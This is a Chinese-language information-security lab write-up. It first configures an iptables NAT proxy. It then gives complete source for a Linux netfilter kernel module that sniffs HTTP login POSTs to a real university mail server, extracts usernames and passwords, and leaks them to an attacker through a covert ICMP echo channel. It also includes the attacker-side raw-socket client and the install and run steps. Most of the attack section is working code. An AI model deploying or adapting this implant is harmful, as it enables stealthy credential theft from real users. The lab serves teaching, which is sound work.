signed

QiShunwang

“诚信为本、客户至上”

信息安全实验二:iptables设置代理和netfilter实现包过滤

2021/3/21 0:05:53   来源:

通过wireshark分析http报文结构

HTTP报文结构 - 简书

iptables设置代理

任务:需要同一网络下的三台主机,通过设置iptables实现一个代理服务器,用户主机可以通过代理主机访问网页服务器上的网页

原理:实现代理,即需要用代理服务器将用户主机与内部服务器隔离起来,当用户向内部服务器申请资源时,请求报文的目的ip是代理服务器的ip,到达代理服务器后,在路由选择之前进行目标地址转换,将目的地址转换为内部服务器的地址。同样,在内部服务器回复请求信息时,响应报文到达代理服务器之后,需要在路由选择之后,将源ip地址转换为代理服务器的ip地址。

主机角色分配

  • 代理主机:代理服务器需要设置iptables,因此选用linux
  • 内网网页服务器:web服务器需要通过apache2发布网页,因此选用linux
  • 用户主机:windows主机作为用户主机

配置网页服务器

安装apache2,输入localhost或本机ip地址可以查看到默认显示的ubuntu apache网页

配置代理主机

在代理机上开启转发数据包的能力

cd /proc/sys/net/ipv4
su //如果验证失败,输入sudo passwd重新设置密码
echo 1 > ip_forward

检查当前代理机的初始状态

sudo iptables -L -t nat

结果如下

Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         

Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination

对nat表进行配置

配置DNAT:DNAT在外部数据包进入代理防火墙后且在路由之前进行,它把该数据包的目的地址改为内部网页服务器地址,然后路由该数据包进入到内部网页服务器,PREOUTING表示在进行路由选择前处理数据包,

//sudo iptables -t  nat -A PREROUTING -d <代理ip> -p tcp --dport 80 -j DNAT --to-destination <网页服务器ip>:80
sudo iptables -t  nat -A PREROUTING -d 192.168.1.115 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.116:80

配置SNAT:SNAT主要用来更改从代理防火墙发出的数据包的源地址,使得来自内部网页服务器的数据包通过代理防火墙后,更改为代理防火墙具有的外部代理地址,以便数据接收方接受数据后,能够找到正确的回复地址,POSTROUTING表示进行路由选择后处理数据包

//sudo iptables -t  nat -A POSTROUTING -p tcp -s <用户主机ip> -j SNAT --to <代理ip>
sudo iptables -t  nat -A POSTROUTING -p tcp -s 192.168.1.106 -j SNAT --to 192.168.1.115

如果不小心配置错误可以通过 sudo iptables -t nat -F 清空所有规则,参考 iptables 查看、恢复默认设置、保存

再次查看代理机的状态,可以看到更新后的配置

root@zwq-virtual-machine:/proc/sys/net/ipv4# sudo iptables -L -t natChain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
DNAT       tcp  --  anywhere             bogon                tcp dpt:http to:192.168.1.113:80

Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination         
SNAT       tcp  --  bogon                anywhere             to:192.168.1.115

用户主机查看网页,输入代理主机的ip即可查看到网页服务器通过Apache2发布的网页

使用netfilter实现包过滤

实验内容:基于netfilter,对http报文实现包过滤,并窃取http报文的用户名和密码

实验要求

  • 使用wireshark抓包,分析http报文结构。
  • 根据url过滤报文,使得无法下载.exe后缀的文件。
  • 截取本虚拟机发出的http报文,判断是否有用户名和密码,若有则将其使用printk打印出来。

受害者端配置

sniff.c代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE 0x77 // ICMP CODE
#define REPLY_SIZE 36   // tartget_ip(4B) + username(16B) + password(16B)

#define SUCCESS 1
#define FAILURE -1
#define IP_202_38_64_8 138421962 // email.ustc.edu.cn

static const char *post_uri = "POST /coremail/index.jsp?cus=1";
static const int post_uri_len = 30;
static const unsigned int target_ip = IP_202_38_64_8;

static char *username = NULL;
static char *password = NULL;

// 定义
static struct nf_hook_ops pre_hook;
static struct nf_hook_ops post_hook;

/**
 * 过滤器:发现我想要的数据包,如下:
 * dest_ip:202.38.64.8 (email.ustc.edu.cn)
 * tcp_dest_port:80
 * POST_URI:POST /coremail/index.jsp?cus=1
 *
 * @return SUCCESS/FAILURE
 */
static unsigned int findpkt_iwant(struct sk_buff *skb)
{
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL;
    int tcp_payload_len = 0;
    //skb是ip数据报缓存 skb_network_header(skb)是返回ip数据报的首部
    ip = (struct iphdr *)skb_network_header(skb);
    if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)
        return FAILURE;

    tcp = (struct tcphdr *)skb_transport_header(skb);                         //tcp报文字段的长度
    tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl << 2) - (tcp->doff << 2); //指向tcp报文段的数据部分
    data = (char *)((char *)tcp + (tcp->doff << 2));
    // 过滤
    if (tcp->dest != htons(80) || tcp_payload_len < post_uri_len || strncmp(data, post_uri, post_uri_len) != 0)
    {
        return FAILURE;
    }
    printk("--------------- findpkt_iwant ------------------\n");
    printk("ip_hdrlen:         %d\n", (ip->ihl << 2));
    printk("tcp_hdrlen:        %d\n", (tcp->doff << 2));
    printk("ip_total_len:      %d\n", ntohs(ip->tot_len));
    printk("tcp_payload_len:   %d\n", tcp_payload_len);
    printk("ip_addr:        0x%p\n", ip);
    printk("tcp_addr:       0x%p\n", tcp);
    printk("tcp_data_addr:  0x%p\n", data);
    printk("hex : data[0-3] = 0x%02x%02x%02x%02x\n", data[0], data[1], data[2], data[3]);
    printk("char: data[0-3] = %c%c%c%c\n", data[0], data[1], data[2], data[3]);
    printk("--------------- findpkt_iwant ------------------\n");
    return SUCCESS;
}

/**
 * 使用KMP算法进行字符串匹配
 * @return 匹配(>=0)/未匹配(-1)
 */
static int kmp(const char *cs, int cslen, const char *ct, int ctlen)
{
    int i = 0, j = -1;
    int *next = NULL;

    // 1) get next[]
    next = (int *)kmalloc(ctlen * sizeof(int), GFP_KERNEL);
    if (next == NULL)
        return -1;
    next[0] = -1, next[1] = 0;
    while (i < ctlen)
    {
        if (j == -1 || ct[i] == ct[j])
        {
            i++, j++;
            next[i] = j;
        }
        else
        {
            j = next[j];
        }
    }
    // 2) match
    i = 0, j = 0;
    while (i < cslen && j < ctlen)
    {
        if (j == -1 || cs[i] == ct[j])
        {
            i++, j++;
        }
        else
        {
            j = next[j];
        }
    }
    kfree(next);
    next = NULL;
    return j >= ctlen ? (i - ctlen) : -1;
}

/**
 * 从URL的参数中提取key对应的value值
 * 比如:uid=lichaoxi&password=1234
 * @param urlparam urlparam的首地址
 * @param ulen url的长度
 * @param key 如:uid=,password=
 * @param klen key的长度(注意后面还有个=号)
 * @return 成功找到(包含value的字符串首地址)/失败(NULL)
 */
char *fetch_urlparam(char *urlparam, int ulen, char *key, int klen)
{
    int index = 0, i = 0;
    char *value = NULL;

    if ((index = kmp(urlparam, ulen, key, klen)) == -1)
        return NULL;
    urlparam += (index + klen);
    ulen -= (index + klen);
    // username, password中本身就可能含有类似'&'这样需要进行编码的字符,urlencode('&') = %26
    // http://www.atool88.com/urlencode.php
    for (i = 0; i < ulen && urlparam[i] != '&'; i++)
        ;
    if (i >= ulen)
        return NULL;
    // i + 1, for the last char '\0'
    if ((value = (char *)kmalloc(sizeof(char) * (i + 1), GFP_KERNEL)) == NULL)
        return NULL;
    memcpy(value, urlparam, i);
    value[i] = '\0';
    return value;
}

/**
 * 从HTTP数据包中抓取 username, password
 * 在调用该方法前需要先调用 findpkt_iwant()方法进行过滤
 */
static void fetch_http(struct sk_buff *skb)
{
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL; // tcp data
    int tcp_payload_len = 0;
    int i = 0, index = -1;
    int content_len = 0; // Cotent-Length

    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);
    tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl << 2) - (tcp->doff << 2);
    data = (char *)tcp + (tcp->doff << 2);

    // e.g: Content-Length: 77\r\n
    index = kmp(data, tcp_payload_len, "Content-Length: ", 16);
    if (index == -1)
        return;
    data += (index + 16); // data point to: 77\r\n
    for (i = 0; data[i] != '\r'; i++)
        content_len = content_len * 10 + ((int)data[i] - '0');
    // now content_len = 77

    // data point to layer: HTML Form URL Encode
    data = (char *)tcp + (tcp->doff << 2) + (tcp_payload_len - content_len);
    // 1) fetch username
    username = fetch_urlparam(data, content_len, "uid=", 4);
    // 2) fetch password
    password = fetch_urlparam(data, content_len, "password=", 9);
    if (username == NULL || password == NULL)
        return;
    printk("----------------- fetch_http -------------------\n");
    printk("content_len = %d\n", content_len);
    printk("urlencode(username): %s\n", username);
    printk("urlencode(password): %s\n", password);
    printk("----------------- fetch_http -------------------\n");
}

/**
 * 是否已经抓取到一对<用户名,密码>
 * @return 是(1)/否(0)
 */
static int hasPair(void)
{
    return username != NULL && password != NULL;
}

/**
 * POST_ROUTING,将数据包发送出去的前一个HOOK点;
 * 用于监听本机往外发送的数据包,并从中提取出所需的username,password;
 * 下面实现的是对于网址 http://email.ustc.edu.cn 的监听
 * > nslookup email.ustc.edu.cn => Address: 202.38.64.8
 */
static unsigned int watch_out(void *priv,
                              struct sk_buff *skb,
                              const struct nf_hook_state *state)
{
    if (findpkt_iwant(skb) == FAILURE)
        return NF_ACCEPT;
    printk("findpkt_iwant ====> SUCCESS\n");
    if (!hasPair())
        fetch_http(skb);
    return NF_ACCEPT;
}

/**
* PRE_ROUTING,接收数据包的第一个HOOK点;
* 用于监听本机接收的数据包,若为hacker想要获取数据而发来的指定ICMP_ECHO数据包(icmp->code=0x77),
* 则将tager_ip, username, password拷贝到原ICMP包的数据部分,然后返回给hacker;
*/
// skb是套接字缓存
static unsigned int watch_in(void *priv,
                             struct sk_buff *skb,
                             const struct nf_hook_state *state)
{
    struct iphdr *ip = NULL;
    struct icmphdr *icmp = NULL;
    int icmp_payload_len = 0;
    char *cp_data = NULL;     // copy pointer
    unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)

    ip = (struct iphdr *)skb_network_header(skb);
    if (!hasPair() || ip->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;

    icmp = (struct icmphdr *)((char *)ip + (ip->ihl << 2));
    // 最后8字节为 ICMP首部长度,ntohs将16位数由网络字节顺序转换为主机字节顺序
    icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl << 2) - 8;
    // 过滤掉不是攻击者发来的包
    if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || icmp_payload_len < REPLY_SIZE)
    {
        return NF_ACCEPT;
    }

    // 因为要往回发包,所以交换源、目的IP
    temp_ipaddr = ip->saddr;
    ip->saddr = ip->daddr;
    ip->daddr = temp_ipaddr;

    skb->pkt_type = PACKET_OUTGOING;
    switch (skb->dev->type)
    {
    case ARPHRD_PPP:
        break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
    {
        unsigned char temp_hwaddr[ETH_ALEN];
        struct ethhdr *eth = NULL;
        // Move the data pointer to point to the link layer header
        eth = (struct ethhdr *)eth_hdr(skb);
        skb->data = (unsigned char *)eth;
        skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
        memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
        memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
        memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
        break;
    }
    }

    // 把ip地址,用户名,密码复制到icmp包中
    cp_data = (char *)icmp + 8;
    memcpy(cp_data, &target_ip, 4);
    memcpy(cp_data + 4, username, 16);
    memcpy(cp_data + 20, password, 16);

    printk("watch_in STOLEN ====> SUCCESS\n");
    printk("urlencode(username): %s\n", username);
    printk("urlencode(password): %s\n", password);
    // 上层准备好数据包后,调用dev_queue_xmit发送该数据帧
    dev_queue_xmit(skb);
    kfree(username);
    kfree(password);
    username = password = NULL;
    // 告诉Netfilter忘记它曾经看到过这个数据包
    return NF_STOLEN;
}

int init_module(void)
{
    // 钩子1:挂到pre_routing上
    pre_hook.hook = watch_in;
    pre_hook.pf = PF_INET;                  //指定协议族
    pre_hook.hooknum = NF_INET_PRE_ROUTING; //hooknum指定5个钩子中的一个
    pre_hook.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &pre_hook);

    // 钩子2:挂到post_routing上
    post_hook.hook = watch_out;
    post_hook.pf = PF_INET;
    post_hook.hooknum = NF_INET_POST_ROUTING;
    post_hook.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &post_hook);
    printk("init_module\n");
    return 0;
}

void cleanup_module(void)
{
    // 取消注册两个钩子函数
    nf_unregister_net_hook(&init_net, &pre_hook);
    nf_unregister_net_hook(&init_net, &post_hook);
    printk("cleanup_module\n");
}

Makefile代码

obj-m += sniff.o
//如果有多个模块,均按上面的形式进行添加,例如ojb-m +=new_module.o
all:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

执行代码

执行 make 命令,编译sniff.c
lsmod 查看当前模块,此时是没有sniff模块的
sudo insmod sniff.ko 安装sniff模块
lsmod 再次查看当前模块,发现已经存在了sniff模块了
dmesg 可以查看记录
若有必要可以通过 sudo rmmod sniff 卸载内核模块

登录网页

受害者端访问 mail.ustc.edu.cn 输入用户名和密码,此时用户名和密码会被sniff内核模块窃取

攻击者端配置

getpwd.c代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
#include <arpa/inet.h>

#define BUFF_SIZE 256
#define SUCCESS 1
#define FAILURE -1
#define MAGIC_CODE 0x77

struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];

int load_args(const int argc, char **);
void print_cmdprompt();
int send_icmp_request();
int recv_icmp_reply();
unsigned short cksum(unsigned short *, int len);
void print_ippacket_inbyte(unsigned char *);

int main(int argc, char **argv)
{
    // 输入的地址有误
    if (load_args(argc, argv) < 0)
    {
        printf("command format error!\n");
        print_cmdprompt();
        return FAILURE;
    }
    // 构造两个原始套接字
    recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (recvsockfd < 0 || sendsockfd < 0)
    {
        perror("socket creation error");
        return FAILURE;
    }
    printf("running...\n");
    // 发送ICMP ECHO 回送请求报文
    send_icmp_request();
    // 接收ICMP ECHO 回送回答报文
    recv_icmp_reply();
    close(sendsockfd);
    close(recvsockfd);
    return 0;
}
// 判断输入的参数是否有误
int load_args(const int argc, char *argv[])
{
    //inet_aton将参数argv[1]所指的网络地址字符串转换成网络使用的二进制的数字,然后存于参数sin_addr所指的in_addr结构中
    if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
        return FAILURE;
    return SUCCESS;
}

void print_cmdprompt()
{
    printf("\ngetpass [remoteip]\n\n");
    printf("\t    [remoteip]       Victim host IP address, eg: 192.168.107.132\n");
}

int send_icmp_request()
{
    // 将sendbuff清0
    bzero(sendbuff, BUFF_SIZE);
    // 构造ICMP ECHO首部
    struct icmp *icmp = (struct icmp *)sendbuff;
    icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
    icmp->icmp_code = MAGIC_CODE;
    icmp->icmp_cksum = 0;
    // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
    icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);

    printf("sending request........\n");
    int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
    if (ret < 0)
    {
        perror("send error");
    }
    else
    {
        printf("send a icmp echo request packet!\n\n");
    }
    return SUCCESS;
}

int recv_icmp_reply()
{
    bzero(recvbuff, BUFF_SIZE);
    printf("waiting for reply......\n");
    if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0)
    {
        printf("failed getting reply packet\n");
        return FAILURE;
    }
    struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
    memcpy(&server_addr, (char *)icmp + 8, 4);
    // 打印IP包字节数据,便于调试
    print_ippacket_inbyte(recvbuff);
    printf("stolen from http server: %s\n", inet_ntoa(server_addr)); //inet_ntoa的功能是将网络地址转换成“.”点隔的字符串格式
    printf("username: %s\n", (char *)((char *)icmp + 12));
    printf("password: %s\n", (char *)((char *)icmp + 28));
    return SUCCESS;
}

unsigned short cksum(unsigned short *addr, int len)
{
    int sum = 0;
    unsigned short res = 0;
    // len -= 2,sizeof(unsigned short) = 2;
    // sum += *(addr++),每次偏移2Byte
    for (; len > 1; sum += *(addr++), len -= 2)
        ;
    // 每次处理2Byte,可能会存在多余的1Byte
    sum += len == 1 ? *addr : 0;
    // sum:高16位 + 低16位,高16位中存在可能的进位
    sum = (sum >> 16) + (sum & 0xffff);
    // sum + sum的高16位,高16位中存在可能的进位
    sum += (sum >> 16);
    // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
    res = ~sum;
    return res;
}

// 二进制形式打印ip数据包
void print_ippacket_inbyte(unsigned char *ipbuff)
{
    struct ip *ip = (struct ip *)ipbuff;
    printf("                %02x %02x", ipbuff[0], ipbuff[1]);
    for (int i = 0, len = ntohs(ip->ip_len) - 2; i < len; i++)
    {
        if (i % 16 == 0)
            printf("\n");
        if (i % 8 == 0)
            printf("  ");
        printf("%02x ", ipbuff[i + 2]);
    }
    printf("\n");
}

执行代码

执行gcc -o getpwd getpwd.c 编译代码
执行 sudo ./getpwd <受害者主机ip> ,受害者主机(已经安装了sniff模块)即可获取到用户输入的用户名和密码。